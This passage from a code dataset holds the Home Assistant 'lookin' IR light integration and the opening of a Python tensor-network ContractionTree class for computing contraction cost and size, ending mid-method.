cast\n\nfrom aiolookin import Remote\nfrom aiolookin.models import UDPCommandType, UDPEvent\n\nfrom homeassistant.components.light import COLOR_MODE_ONOFF, LightEntity\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.update_coordinator import DataUpdateCoordinator\n\nfrom .const import DOMAIN\nfrom .entity import LookinPowerEntity\nfrom .models import LookinData\n\nLOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup_entry(\n hass: HomeAssistant,\n config_entry: ConfigEntry,\n async_add_entities: AddEntitiesCallback,\n) -> None:\n \"\"\"Set up the light platform for lookin from a config entry.\"\"\"\n lookin_data: LookinData = hass.data[DOMAIN][config_entry.entry_id]\n entities = []\n\n for remote in lookin_data.devices:\n if remote[\"Type\"] != \"03\":\n continue\n uuid = remote[\"UUID\"]\n\n def _wrap_async_update(\n uuid: str,\n ) -> Callable[[], Coroutine[None, Any, Remote]]:\n \"\"\"Create a function to capture the uuid cell variable.\"\"\"\n\n async def _async_update() -> Remote:\n return await lookin_data.lookin_protocol.get_remote(uuid)\n\n return _async_update\n\n coordinator = DataUpdateCoordinator(\n hass,\n LOGGER,\n name=f\"{config_entry.title} {uuid}\",\n update_method=_wrap_async_update(uuid),\n update_interval=timedelta(\n seconds=60\n ), # Updates are pushed (fallback is polling)\n )\n await coordinator.async_refresh()\n device: Remote = coordinator.data\n\n entities.append(\n LookinLightEntity(\n uuid=uuid,\n device=device,\n lookin_data=lookin_data,\n coordinator=coordinator,\n )\n )\n\n async_add_entities(entities)\n\n\nclass LookinLightEntity(LookinPowerEntity, LightEntity):\n \"\"\"A lookin IR controlled light.\"\"\"\n\n _attr_supported_color_modes = {COLOR_MODE_ONOFF}\n _attr_color_mode = COLOR_MODE_ONOFF\n\n def __init__(\n self,\n uuid: str,\n device: Remote,\n lookin_data: LookinData,\n coordinator: DataUpdateCoordinator,\n ) -> None:\n \"\"\"Init the light.\"\"\"\n super().__init__(coordinator, uuid, device, lookin_data)\n self._attr_is_on = False\n\n @property\n def _remote(self) -> Remote:\n return cast(Remote, self.coordinator.data)\n\n async def async_turn_on(self, **kwargs: Any) -> None:\n \"\"\"Turn on the light.\"\"\"\n await self._async_send_command(self._power_on_command)\n self._attr_is_on = True\n self.async_write_ha_state()\n\n async def async_turn_off(self, **kwargs: Any) -> None:\n \"\"\"Turn off the light.\"\"\"\n await self._async_send_command(self._power_off_command)\n self._attr_is_on = False\n self.async_write_ha_state()\n\n def _update_from_status(self, status: str) -> None:\n \"\"\"Update media property from status.\n\n 1000\n 0 - 0/1 on/off\n \"\"\"\n if len(status) != 4:\n return\n state = status[0]\n\n self._attr_is_on = state == \"1\"\n\n def _async_push_update(self, event: UDPEvent) -> None:\n \"\"\"Process an update pushed via UDP.\"\"\"\n LOGGER.debug(\"Processing push message for %s: %s\", self.entity_id, event)\n self._update_from_status(event.value)\n self.coordinator.async_set_updated_data(self._remote)\n self.async_write_ha_state()\n\n async def _async_push_update_device(self, event: UDPEvent) -> None:\n \"\"\"Process an update pushed via UDP.\"\"\"\n LOGGER.debug(\"Processing push message for %s: %s\", self.entity_id, event)\n await self.coordinator.async_refresh()\n self._attr_name = self._remote.name\n\n async def async_added_to_hass(self) -> None:\n \"\"\"Call when the entity is added to hass.\"\"\"\n self.async_on_remove(\n self._lookin_udp_subs.subscribe_event(\n self._lookin_device.id,\n UDPCommandType.ir,\n self._uuid,\n self._async_push_update,\n )\n )\n self.async_on_remove(\n self._lookin_udp_subs.subscribe_event(\n self._lookin_device.id,\n UDPCommandType.data,\n self._uuid,\n self._async_push_update_device,\n )\n )\n","repo_name":"neojski/home-assistant-core","sub_path":"homeassistant/components/lookin/light.py","file_name":"light.py","file_ext":"py","file_size_in_byte":4709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"81"} +{"seq_id":"42570758490","text":"\"\"\"Core contraction tree data structure and methods.\n\"\"\"\nimport math\nimport random\nimport warnings\nimport operator\nimport itertools\nimport functools\nimport collections\n\nfrom dataclasses import dataclass\nfrom typing import Optional\n\nfrom autoray import do\n\nfrom .utils import (\n compute_size_by_dict,\n deprecated,\n get_symbol,\n groupby,\n inputs_output_to_eq,\n interleave,\n is_valid_node,\n MaxCounter,\n node_from_seq,\n node_from_single,\n node_get_single_el,\n node_supremum,\n prod,\n unique,\n)\nfrom .parallel import (\n can_scatter,\n maybe_leave_pool,\n maybe_rejoin_pool,\n parse_parallel_arg,\n scatter,\n submit,\n)\nfrom .hypergraph import get_hypergraph\nfrom .scoring import (\n DEFAULT_COMBO_FACTOR,\n get_score_fn,\n CompressedStatsTracker,\n)\nfrom .contract import make_contractor\nfrom .plot import (\n plot_contractions_alt,\n plot_contractions,\n plot_hypergraph,\n plot_tree_ring,\n plot_tree_rubberband,\n plot_tree_span,\n plot_tree_tent,\n)\n\n\ndef cached_node_property(name):\n \"\"\"Decorator for caching information about nodes.\"\"\"\n\n def wrapper(meth):\n @functools.wraps(meth)\n def getter(self, node):\n try:\n return self.info[node][name]\n except KeyError:\n self.info[node][name] = value = meth(self, node)\n return value\n\n return getter\n\n return wrapper\n\n\ndef union_it(bs):\n \"\"\"Non-variadic version of various set type unions.\"\"\"\n b0, *bs = bs\n return b0.union(*bs)\n\n\ndef legs_union(legs_seq):\n \"\"\"Combine a sequence of legs into a single set of legs, summing their\n appearances.\n \"\"\"\n new_legs, *rem_legs = legs_seq\n new_legs = new_legs.copy()\n for legs in rem_legs:\n for ix, ix_count in legs.items():\n new_legs[ix] = new_legs.get(ix, 0) + ix_count\n return new_legs\n\n\ndef legs_without(legs, ind):\n \"\"\"Discard ``ind`` from legs to create a new set of legs.\"\"\"\n new_legs = legs.copy()\n new_legs.pop(ind, None)\n return new_legs\n\n\ndef get_with_default(k, obj, default):\n return obj.get(k, default)\n\n\n@dataclass(order=True, frozen=True)\nclass SliceInfo:\n inner: bool\n ind: str\n size: int\n project: Optional[int]\n\n @property\n def sliced_range(self):\n if self.project is None:\n return range(self.size)\n else:\n return [self.project]\n\n\ndef get_slice_strides(sliced_inds):\n \"\"\"Compute the 'strides' given the (ordered) dictionary of sliced indices.\n \"\"\"\n slice_infos = list(sliced_inds.values())\n nsliced = len(slice_infos)\n strides = [1] * nsliced\n # backwards cumulative product\n for i in range(nsliced - 2, -1, -1):\n strides[i] = strides[i + 1] * slice_infos[i + 1].size\n return strides\n\n\nclass ContractionTree:\n \"\"\"Binary tree representing a tensor network contraction.\n\n Parameters\n ----------\n inputs : sequence of str\n The list of input tensor's indices.\n output : str\n The output indices.\n size_dict : dict[str, int]\n The size of each index.\n track_childless : bool, optional\n Whether to dynamically keep track of which nodes are childless. Useful\n if you are 'divisively' building the tree.\n track_flops : bool, optional\n Whether to dynamically keep track of the total number of flops. If\n ``False`` You can still compute this once the tree is complete.\n track_write : bool, optional\n Whether to dynamically keep track of the total number of elements\n written. If ``False`` You can still compute this once the tree is\n complete.\n track_size : bool, optional\n Whether to dynamically keep track of the largest tensor so far. If\n ``False`` You can still compute this once the tree is complete.\n\n Attributes\n ----------\n children : dict[node, tuple[node]]\n Mapping of each node to two children.\n info : dict[node, dict]\n Information about the tree nodes. The key is the set of inputs (a\n set of inputs indices) the node contains. Or in other words, the\n subgraph of the node. The value is a dictionary to cache information\n about effective 'leg' indices, size, flops of formation etc.\n \"\"\"\n\n def __init__(\n self,\n inputs,\n output,\n size_dict,\n track_childless=False,\n track_flops=False,\n track_write=False,\n track_size=False,\n ):\n self.inputs = inputs\n self.output = output\n\n if not isinstance(next(iter(size_dict.values()), 1), int):\n # make sure we are working with python integers to avoid overflow\n # comparison errors with inf etc.\n self.size_dict = {k: int(v) for k, v in size_dict.items()}\n else:\n self.size_dict = size_dict\n\n self.N = len(self.inputs)\n\n # create the index representation for each input: an ordered mapping of\n # each index to the number of times it has appeared on children. By\n # also tracking the total number of appearances one can efficiently\n # and locally compute which indices should be kept or contracted\n self.inputs_legs = []\n self.appearances = {}\n for term in self.inputs:\n legs = {}\n for ix in term:\n legs[ix] = legs.get(ix, 0) + 1\n self.appearances[ix] = self.appearances.get(ix, 0) + 1\n self.inputs_legs.append(legs)\n self.output_legs = dict.fromkeys(self.output)\n # adding output appearances ensures these are never contracted away,\n # N.B. if after this step every appearance count is exactly 2,\n # then there are no 'hyper' indices in the contraction\n for ix in self.output_legs:\n self.appearances[ix] = self.appearances.get(ix, 0) + 1\n\n # check for single term simplifications, these are treated as a simple\n # preprocessing step that only is taken into account during actual\n # contraction, and are not represented in the binary tree\n preprocessing = []\n for i, (term, legs) in enumerate(zip(inputs, self.inputs_legs)):\n is_simplifiable = (\n # repeated indices (diag or traces)\n (len(term) != len(legs))\n or\n # reduced indices (summed immediately)\n any(\n ix_count == self.appearances[ix]\n for ix, ix_count in legs.items()\n )\n )\n if is_simplifiable:\n # compute the simplified legs\n new_legs = {\n ix: ix_count\n for ix, ix_count in legs.items()\n if ix_count != self.appearances[ix]\n }\n # modify the input legs as if these were the inputs\n self.inputs_legs[i] = new_legs\n # add a preprocessing step to the list of contractions\n eq = f\"{''.join(term)}->{''.join(new_legs)}\"\n preprocessing.append((i, eq))\n self.preprocessing = tuple(preprocessing)\n\n # mapping of parents to children - the core binary tree object\n self.children = {}\n\n # information about all the nodes\n self.info = {}\n\n # ... which we can fill in already for final / top node i.e.\n # the collection of all nodes\n self.root = node_supremum(self.N)\n self.info[self.root] = {\n \"legs\": self.output_legs,\n \"size\": compute_size_by_dict(self.output, size_dict),\n }\n\n # whether to keep track of dangling nodes/subgraphs\n self.track_childless = track_childless\n if self.track_childless:\n # the set of dangling nodes\n self.childless = {self.root}\n\n # running largest_intermediate and total flops\n self._track_flops = track_flops\n if track_flops:\n self._flops = 0\n\n self._track_write = track_write\n if track_write:\n self._write = 0\n\n self._track_size = track_size\n if track_size:\n self._sizes = MaxCounter()\n\n # container for caching subtree reconfiguration condidates\n self.already_optimized = dict()\n\n # info relating to slicing (base constructor is always unsliced)\n self.multiplicity = 1\n self.sliced_inds = {}\n self.sliced_inputs = frozenset()\n\n # cache for compiled contraction cores\n self.contraction_cores = {}\n\n def set_state_from(self, other):\n \"\"\"Set the internal state of this tree to that of ``other``.\"\"\"\n # immutable properties\n for attr in (\n \"appearances\",\n \"inputs\",\n \"multiplicity\",\n \"N\",\n \"output\",\n \"preprocessing\",\n \"root\",\n \"size_dict\",\n \"sliced_inputs\",\n ):\n setattr(self, attr, getattr(other, attr))\n\n # mutable properties\n for attr in (\n \"children\",\n \"contraction_cores\",\n \"inputs_legs\",\n \"output_legs\",\n \"sliced_inds\",\n ):\n setattr(self, attr, getattr(other, attr).copy())\n\n # dicts of mutable\n for attr in (\"info\", \"already_optimized\"):\n setattr(\n self,\n attr,\n {k: v.copy() for k, v in getattr(other, attr).items()},\n )\n\n self.track_childless = other.track_childless\n if other.track_childless:\n self.childless = other.childless.copy()\n\n self._track_flops = other._track_flops\n if other._track_flops:\n self._flops = other._flops\n\n self._track_write = other._track_write\n if other._track_write:\n self._write = other._write\n\n self._track_size = other._track_size\n if other._track_size:\n self._sizes = other._sizes.copy()\n\n def copy(self):\n \"\"\"Create a copy of this ``ContractionTree``.\"\"\"\n tree = object.__new__(self.__class__)\n tree.set_state_from(self)\n return tree\n\n @property\n def nslices(self):\n \"\"\"Simple alias for how many independent contractions this tree\n represents overall.\n \"\"\"\n return self.multiplicity\n\n @property\n def nchunks(self):\n \"\"\"The number of 'chunks' - determined by the number of sliced output\n indices.\n \"\"\"\n return prod(\n si.size for si in self.sliced_inds.values() if not si.inner\n )\n\n def node_to_terms(self, node):\n \"\"\"Turn a node -- a frozen set of ints -- into the corresponding terms\n -- a sequence of sets of str corresponding to input indices.\n \"\"\"\n return map(self.inputs_legs.__getitem__, node)\n\n def gen_leaves(self):\n \"\"\"Generate the nodes representing leaves of the contraction tree, i.e.\n of size 1 each corresponding to a single input tensor.\n \"\"\"\n return map(node_from_single, range(self.N))\n\n @classmethod\n def from_path(\n cls,\n inputs,\n output,\n size_dict,\n *,\n path=None,\n ssa_path=None,\n check=False,\n **kwargs,\n ):\n \"\"\"Create a (completed) ``ContractionTree`` from the usual inputs plus\n a standard contraction path or 'ssa_path' - you need to supply one.\n \"\"\"\n if int(path is None) + int(ssa_path is None) != 1:\n raise ValueError(\n \"Exactly one of ``path`` or ``ssa_path`` must be \" \"supplied.\"\n )\n\n if ssa_path is not None:\n path = ssa_path\n\n tree = cls(inputs, output, size_dict, **kwargs)\n nodes = list(tree.gen_leaves())\n\n for p in path:\n if ssa_path is not None:\n merge = [nodes[i] for i in p]\n else:\n merge = [nodes.pop(i) for i in sorted(p, reverse=True)]\n nodes.append(tree.contract_nodes(merge, check=check))\n\n return tree\n\n @classmethod\n def from_info(cls, info, **kwargs):\n \"\"\"Create a ``ContractionTree`` from an ``opt_einsum.PathInfo`` object.\n \"\"\"\n return cls.from_path(\n inputs=info.input_subscripts.split(\",\"),\n output=info.output_subscript,\n size_dict=info.size_dict,\n path=info.path,\n **kwargs,\n )\n\n @classmethod\n def from_eq(cls, eq, size_dict, **kwargs):\n \"\"\"Create a empty ``ContractionTree`` directly from an equation and set\n of shapes.\n\n Parameters\n ----------\n eq : str\n The einsum string equation.\n size_dict : dict[str, int]\n The size of each index.\n \"\"\"\n lhs, output = eq.split(\"->\")\n inputs = lhs.split(\",\")\n return cls(inputs, output, size_dict, **kwargs)\n\n def get_eq(self):\n \"\"\"Get the einsum equation corresponding to this tree. Note that this\n is the total (or original) equation, so includes indices which have\n been sliced.\n\n Returns\n -------\n eq : str\n \"\"\"\n return inputs_output_to_eq(self.inputs, self.output)\n\n def get_shapes(self):\n \"\"\"Get the shapes of the input tensors corresponding to this tree.\n\n Returns\n -------\n shapes : tuple[tuple[int]]\n \"\"\"\n return tuple(\n tuple(self.size_dict[ix] for ix in term) for term in self.inputs\n )\n\n def get_inputs_sliced(self):\n \"\"\"Get the input indices corresponding to a single slice of this tree,\n i.e. with sliced indices removed.\n\n Returns\n -------\n inputs : tuple[tuple[str]]\n \"\"\"\n return tuple(\n tuple(ix for ix in term if ix not in self.sliced_inds)\n for term in self.inputs\n )\n\n def get_output_sliced(self):\n \"\"\"Get the output indices corresponding to a single slice of this tree,\n i.e. with sliced indices removed.\n\n Returns\n -------\n output : tuple[str]\n \"\"\"\n return tuple(ix for ix in self.output if ix not in self.sliced_inds)\n\n def get_eq_sliced(self):\n \"\"\"Get the einsum equation corresponding to a single slice of this\n tree, i.e. with sliced indices removed.\n\n Returns\n -------\n eq : str\n \"\"\"\n return inputs_output_to_eq(\n self.get_inputs_sliced(),\n self.get_output_sliced()\n )\n\n def get_shapes_sliced(self):\n \"\"\"Get the shapes of the input tensors corresponding to a single slice\n of this tree, i.e. with sliced indices removed.\n\n Returns\n -------\n shapes : tuple[tuple[int]]\n \"\"\"\n return tuple(\n tuple(\n self.size_dict[ix] for ix in term if ix not in self.sliced_inds\n )\n for term in self.inputs\n )\n\n @classmethod\n def from_edge_path(\n cls, edge_path, inputs, output, size_dict, check=False, **kwargs\n ):\n \"\"\"Create a ``ContractionTree`` from an edge elimination ordering.\"\"\"\n tree = cls(inputs, output, size_dict, **kwargs)\n nodes = list(tree.gen_leaves())\n\n for e in edge_path:\n # filter out the subgraph induced by edge `e` (generally a pair)\n new_terms, merge = [], []\n for node in nodes:\n term = union_it(tree.node_to_terms(node))\n if e in term:\n merge.append(node)\n else:\n new_terms.append(node)\n\n # contract the subgraph\n if merge:\n nodes = new_terms + [tree.contract_nodes(merge, check=check)]\n\n # make sure we are generating a full contraction tree\n nt = len(nodes)\n if nt > 1:\n # this seems to happen when the initial contraction contains a\n # scalar? Or disconnected subgraphs?\n warnings.warn(\n f\"Ended up with {nt} nodes - contracting all remaining.\"\n )\n tree.contract_nodes(nodes, check=check)\n\n return tree\n\n def _add_node(self, node, check=False):\n if check:\n if len(self.info) > 2 * self.N - 1:\n raise ValueError(\"There are too many children already.\")\n if len(self.children) > self.N - 1:\n raise ValueError(\"There are too many branches already.\")\n if not is_valid_node(node):\n raise ValueError(\"{} is not a valid node.\".format(node))\n\n self.info.setdefault(node, dict())\n\n def _remove_node(self, node):\n \"\"\"Remove ``node`` from this tree and update the flops and maximum size\n if tracking them respectively. Inplace operation.\n \"\"\"\n if self._track_flops:\n self._flops -= self.get_flops(node)\n\n if self._track_write and len(node) > 1:\n # only non-leaf nodes contribute to write\n self._write -= self.get_size(node)\n\n if self._track_size:\n self._sizes.discard(self.get_size(node))\n\n del self.info[node]\n del self.children[node]\n\n @cached_node_property(\"legs\")\n def get_legs(self, node):\n \"\"\"Get the effective 'outer' indices for the collection of tensors\n in ``node``.\n \"\"\"\n if len(node) == 1:\n return self.inputs_legs[node_get_single_el(node)]\n try:\n involved = self.get_involved(node)\n except KeyError:\n involved = legs_union(self.node_to_terms(node))\n\n return {\n ix: ix_count\n for ix, ix_count in involved.items()\n if ix_count < self.appearances[ix]\n }\n\n @cached_node_property(\"involved\")\n def get_involved(self, node):\n \"\"\"Get all the indices involved in the formation of subgraph ``node``.\n \"\"\"\n if len(node) == 1:\n return {}\n sub_legs = map(self.get_legs, self.children[node])\n return legs_union(sub_legs)\n\n @cached_node_property(\"removed\")\n def get_removed(self, node):\n \"\"\"Get the indices that will be removed by the creation of ``node``.\"\"\"\n involved = self.get_involved(node)\n legs = self.get_legs(node)\n return {\n ix: ix_count for ix, ix_count in involved.items() if ix not in legs\n }\n\n @cached_node_property(\"size\")\n def get_size(self, node):\n \"\"\"Get the tensor size of ``node``.\"\"\"\n return compute_size_by_dict(self.get_legs(node), self.size_dict)\n\n @cached_node_property(\"flops\")\n def get_flops(self, node):\n \"\"\"Get the FLOPs for the pairwise contraction that will create\n ``node``.\n \"\"\"\n if len(node) == 1:\n return 0\n involved = self.get_involved(node)\n return compute_size_by_dict(involved, self.size_dict)\n\n @cached_node_property(\"can_dot\")\n def get_can_dot(self, node):\n \"\"\"Get whether this contraction can be performed as a dot product (i.e.\n with ``tensordot``), or else requires ``einsum``, as it has indices\n that don't appear exactly twice in either the inputs or the output.\n \"\"\"\n l, r = self.children[node]\n sp, sl, sr = map(self.get_legs, (node, l, r))\n\n srl_symmdiff = sl.copy()\n for ix, ix_count in sr.items():\n if ix in srl_symmdiff:\n srl_symmdiff.pop(ix)\n else:\n srl_symmdiff[ix] = ix_count\n\n return srl_symmdiff == sp\n\n @cached_node_property(\"inds\")\n def get_inds(self, node):\n \"\"\"Get the indices of this node - an ordered string version of\n ``get_legs`` that starts with ``tree.inputs`` and maintains the order\n they appear in each contraction 'ABC,abc->ABCabc', to match tensordot.\n \"\"\"\n # NB: self.inputs and self.output contain the full (unsliced) indices\n # thus we filter even the input legs and output legs\n\n if len(node) == 1:\n return \"\".join(self.inputs_legs[node_get_single_el(node)])\n\n if len(node) == self.N:\n return \"\".join(self.output_legs)\n\n legs = self.get_legs(node)\n l_inds, r_inds = map(self.get_inds, self.children[node])\n # the filter here takes care of contracted indices\n return \"\".join(\n unique(filter(legs.__contains__, itertools.chain(l_inds, r_inds)))\n )\n\n @cached_node_property(\"tensordot_axes\")\n def get_tensordot_axes(self, node):\n \"\"\"Get the ``axes`` arg for a tensordot ocontraction that produces\n ``node``. The pairs are sorted in order of appearance on the left\n input.\n \"\"\"\n l_inds, r_inds = map(self.get_inds, self.children[node])\n l_axes, r_axes = [], []\n for i, ind in enumerate(l_inds):\n j = r_inds.find(ind)\n if j != -1:\n l_axes.append(i)\n r_axes.append(j)\n return tuple(l_axes), tuple(r_axes)\n\n @cached_node_property(\"tensordot_perm\")\n def get_tensordot_perm(self, node):\n \"\"\"Get the permutation required, if any, to bring the tensordot output\n of this nodes contraction into line with ``self.get_inds(node)``.\n \"\"\"\n l_inds, r_inds = map(self.get_inds, self.children[node])\n # the target output inds\n p_inds = self.get_inds(node)\n # the tensordot output inds\n td_inds = \"\".join(sorted(p_inds, key=f\"{l_inds}{r_inds}\".find))\n if td_inds == p_inds:\n return None\n return tuple(map(td_inds.find, p_inds))\n\n @cached_node_property(\"einsum_eq\")\n def get_einsum_eq(self, node):\n \"\"\"Get the einsum string describing the contraction that produces\n ``node``, unlike ``get_inds`` the characters are mapped into [a-zA-Z],\n for compatibility with ``numpy.einsum`` for example.\n \"\"\"\n l, r = self.children[node]\n l_inds, r_inds, p_inds = map(self.get_inds, (l, r, node))\n # we need to map any extended unicode characters into ascii\n char_mapping = {\n ord(ix): get_symbol(i)\n for i, ix in enumerate(unique(itertools.chain(l_inds, r_inds)))\n }\n return f\"{l_inds},{r_inds}->{p_inds}\".translate(char_mapping)\n\n def get_centrality(self, node):\n try:\n return self.info[node][\"centrality\"]\n except KeyError:\n self.compute_centralities()\n return self.info[node][\"centrality\"]\n\n def total_flops(self, dtype=None):\n \"\"\"Sum the flops contribution from every node in the tree.\n\n Parameters\n ----------\n dtype : {'float', 'complex', None}, optional\n Scale the answer depending on the assumed data type.\n \"\"\"\n if self._track_flops:\n C = self.multiplicity * self._flops\n\n else:\n self._flops = 0\n for node, _, _ in self.traverse():\n self._flops += self.get_flops(node)\n\n self._track_flops = True\n C = self.multiplicity * self._flops\n\n if dtype is None:\n return C\n\n if \"float\" in dtype:\n return 2 * C\n\n if \"complex\" in dtype:\n return 8 * C\n\n def total_write(self):\n \"\"\"Sum the total amount of memory that will be created and operated on.\n \"\"\"\n if not self._track_write:\n self._write = 0\n for node, _, _ in self.traverse():\n self._write += self.get_size(node)\n\n self._track_write = True\n\n return self.multiplicity * self._write\n\n def total_cost(self, factor=DEFAULT_COMBO_FACTOR, combine=sum):\n t = 0\n for p in self.children:\n f = self.get_flops(p)\n w = self.get_size(p)\n t += combine((f, factor * w))\n return self.multiplicity * t\n\n def max_size(self):\n \"\"\"The size of the largest intermediate tensor.\"\"\"\n if self._track_size:\n return self._sizes.max()\n\n self._sizes = MaxCounter()\n for node, _, _ in self.traverse():\n self._sizes.add(self.get_size(node))\n\n self._track_size = True\n return self._sizes.max()\n\n def peak_size(self, order=None):\n \"\"\"Get the peak concurrent size of tensors needed - this depends on the\n traversal order, i.e. the exact contraction path, not just the\n contraction tree.\n \"\"\"\n tot_size = sum(self.get_size(node) for node in self.gen_leaves())\n peak = tot_size\n for p, l, r in self.traverse(order=order):\n tot_size -= self.get_size(l)\n tot_size -= self.get_size(r)\n tot_size += self.get_size(p)\n peak = max(peak, tot_size)\n return peak\n\n def contract_stats(self):\n \"\"\"Simulteneously compute the total flops, write and size of the\n contraction tree. This is more efficient than calling each of the\n individual methods separately. Once computed, each quantity is then\n automatically tracked.\n\n Returns\n -------\n stats : dict[str, int]\n The total flops, write and size.\n \"\"\"\n if not (self._track_flops and self._track_write and self._track_size):\n self._flops = self._write = 0\n self._sizes = MaxCounter()\n\n for node, _, _ in self.traverse():\n self._flops += self.get_flops(node)\n node_size = self.get_size(node)\n self._write += node_size\n self._sizes.add(node_size)\n\n self._track_flops = self._track_write = self._track_size = True\n\n return {\n \"flops\": self.multiplicity * self._flops,\n \"write\": self.multiplicity * self._write,\n \"size\": self._sizes.max(),\n }\n\n def arithmetic_intensity(self):\n \"\"\"The ratio of total flops to total write - the higher the better for\n extracting good computational performance.\n \"\"\"\n return self.total_flops(dtype=None) / self.total_write()\n\n def contraction_scaling(self):\n \"\"\"This is computed simply as the maximum number of indices involved\n in any single contraction, which will match the scaling assuming that\n all dimensions are equal.\n \"\"\"\n return max(len(self.get_involved(node)) for node in self.info)\n\n def contraction_cost(self, log=None):\n \"\"\"Get the total number of scalar operations ~ time complexity.\"\"\"\n C = float(self.total_flops(dtype=None))\n if log is not None:\n C = math.log(C, log)\n return C\n\n def contraction_width(self, log=2):\n \"\"\"Get log2 of the size of the largest tensor.\"\"\"\n W = self.max_size()\n if log is not None:\n W = math.log(W, log)\n return W\n\n def compressed_contract_stats(\n self,\n chi,\n order=\"surface_order\",\n compress_late=False,\n ):\n hg = self.get_hypergraph(accel=\"auto\")\n\n # conversion between tree nodes <-> hypergraph nodes during contraction\n tree_map = dict(zip(self.gen_leaves(), range(hg.get_num_nodes())))\n\n tracker = CompressedStatsTracker(hg, chi)\n\n for p, l, r in self.traverse(order):\n li = tree_map[l]\n ri = tree_map[r]\n\n tracker.update_pre_step()\n\n if compress_late:\n tracker.update_pre_compress(hg, li, ri)\n # compress just before we contract tensors\n hg.compress(chi=chi, edges=hg.get_node(li))\n hg.compress(chi=chi, edges=hg.get_node(ri))\n tracker.update_post_compress(hg, li, ri)\n\n tracker.update_pre_contract(hg, li, ri)\n pi = tree_map[p] = hg.contract(li, ri)\n tracker.update_post_contract(hg, pi)\n\n if not compress_late:\n # compress as soon as we can after contracting tensors\n tracker.update_pre_compress(hg, pi)\n hg.compress(chi=chi, edges=hg.get_node(pi))\n tracker.update_post_compress(hg, pi)\n\n tracker.update_post_step()\n\n return tracker\n\n def total_flops_compressed(\n self,\n chi,\n order=\"surface_order\",\n compress_late=False,\n dtype=None,\n ):\n \"\"\"Estimate the total flops for a compressed contraction of this tree\n with maximum bond size ``chi``. This includes basic estimates of the\n ops to perform contractions, QRs and SVDs.\n \"\"\"\n if dtype is not None:\n raise ValueError(\n \"Can only estimate cost in terms of \"\n \"number of abstract scalar ops.\"\n )\n\n return self.compressed_contract_stats(\n chi=chi,\n order=order,\n compress_late=compress_late,\n ).flops\n\n def total_write_compressed(\n self, chi, order=\"surface_order\", compress_late=False, accel=\"auto\"\n ):\n \"\"\"Compute the total size of all intermediate tensors when a\n compressed contraction is performed with maximum bond size ``chi``,\n ordered by ``order``. This is relevant maybe for time complexity and\n e.g. autodiff space complexity (since every intermediate is kept).\n \"\"\"\n return self.compressed_contract_stats(\n chi=chi,\n order=order,\n compress_late=compress_late,\n ).write\n\n def total_cost_compressed(\n self,\n chi,\n order=\"surface_order\",\n compress_late=False,\n factor=DEFAULT_COMBO_FACTOR,\n ):\n return self.total_flops_compressed(\n chi=chi, order=order, compress_late=compress_late\n ) + factor * self.total_write_compressed(\n chi=chi, order=order, compress_late=compress_late\n )\n\n def max_size_compressed(\n self, chi, order=\"surface_order\", compress_late=False\n ):\n \"\"\"Compute the maximum sized tensor produced when a compressed\n contraction is performed with maximum bond size ``chi``, ordered by\n ``order``. This is close to the ideal space complexity if only\n tensors that are being directly operated on are kept in memory.\n \"\"\"\n return self.compressed_contract_stats(\n chi=chi,\n order=order,\n compress_late=compress_late,\n ).max_size\n\n def peak_size_compressed(\n self, chi, order=\"surface_order\", compress_late=False, accel=\"auto\"\n ):\n \"\"\"Compute the peak size of combined intermediate tensors when a\n compressed contraction is performed with maximum bond size ``chi``,\n ordered by ``order``. This is the practical space complexity if one is\n not swapping intermediates in and out of memory.\n \"\"\"\n return self.compressed_contract_stats(\n chi=chi,\n order=order,\n compress_late=compress_late,\n ).peak_size\n\n contraction_cost_compressed = total_cost_compressed\n\n def contraction_width_compressed(\n self, chi, order=\"surface_order\", compress_late=False\n ):\n \"\"\"Compute log2 of the maximum sized tensor produced when a compressed\n contraction is performed with maximum bond size ``chi``, ordered by\n ``order``.\n \"\"\"\n return math.log2(self.max_size_compressed(chi, order, compress_late))\n\n def contract_nodes_pair(self, x, y, check=False):\n \"\"\"Contract node ``x`` with node ``y`` in the tree to create a new\n parent node.\n \"\"\"\n parent = x.union(y)\n\n # make sure info entries exist for all (default dict)\n for node in (x, y, parent):\n self._add_node(node, check=check)\n\n # enforce left ordering of 'heaviest' subtrees\n nx, ny = len(x), len(y)\n hx, hy = hash(x), hash(y)\n\n # deterministically break ties\n if (nx, hx) > (ny, hy):\n lr = (x, y)\n else:\n lr = (y, x)\n\n self.children[parent] = lr\n\n if self.track_childless:\n self.childless.discard(parent)\n if x not in self.children and nx > 1:\n self.childless.add(x)\n if y not in self.children and ny > 1:\n self.childless.add(y)\n\n if self._track_flops:\n self._flops += self.get_flops(parent)\n if self._track_write:\n self._write += self.get_size(parent)\n if self._track_size:\n self._sizes.add(self.get_size(parent))\n\n return parent\n\n def contract_nodes(\n self,\n nodes,\n optimize=\"auto-hq\",\n check=False,\n extra_opts=None,\n ):\n \"\"\"Contract an arbitrary number of ``nodes`` in the tree to build up a\n subtree. The root of this subtree (a new intermediate) is returned.\n \"\"\"\n if len(nodes) == 1:\n return next(iter(nodes))\n\n if len(nodes) == 2:\n return self.contract_nodes_pair(*nodes, check=check)\n\n from .interface import find_path\n\n # create the bottom and top nodes\n grandparent = union_it(nodes)\n self._add_node(grandparent, check=check)\n for node in nodes:\n self._add_node(node, check=check)\n\n # if more than two nodes need to find the path to fill in between\n # \\\n # GN <- 'grandparent'\n # / \\\n # ?????????\n # ????????????? <- to be filled with 'temp nodes'\n # / \\ / / \\\n # N0 N1 N2 N3 N4 <- ``nodes``, or, subgraphs\n # / \\ / / \\\n path_inputs = [tuple(self.get_legs(x)) for x in nodes]\n path_output = tuple(self.get_legs(grandparent))\n\n path = find_path(\n path_inputs,\n path_output,\n self.size_dict,\n optimize=optimize,\n **(extra_opts or {}),\n )\n\n # now we have path create the nodes in between\n temp_nodes = list(nodes)\n for p in path:\n to_contract = [temp_nodes.pop(i) for i in sorted(p, reverse=True)]\n temp_nodes.append(self.contract_nodes(to_contract, check=check))\n\n (parent,) = temp_nodes\n\n if check:\n # final remaining temp input should be the 'grandparent'\n assert parent == grandparent\n\n return parent\n\n def is_complete(self):\n \"\"\"Check every node has two children, unless it is a leaf.\"\"\"\n too_many_nodes = len(self.info) > 2 * self.N - 1\n too_many_branches = len(self.children) > self.N - 1\n\n if too_many_nodes or too_many_branches:\n raise ValueError(\"Contraction tree seems to be over complete!\")\n\n queue = [self.root]\n while queue:\n x = queue.pop()\n if len(x) == 1:\n continue\n try:\n queue.extend(self.children[x])\n except 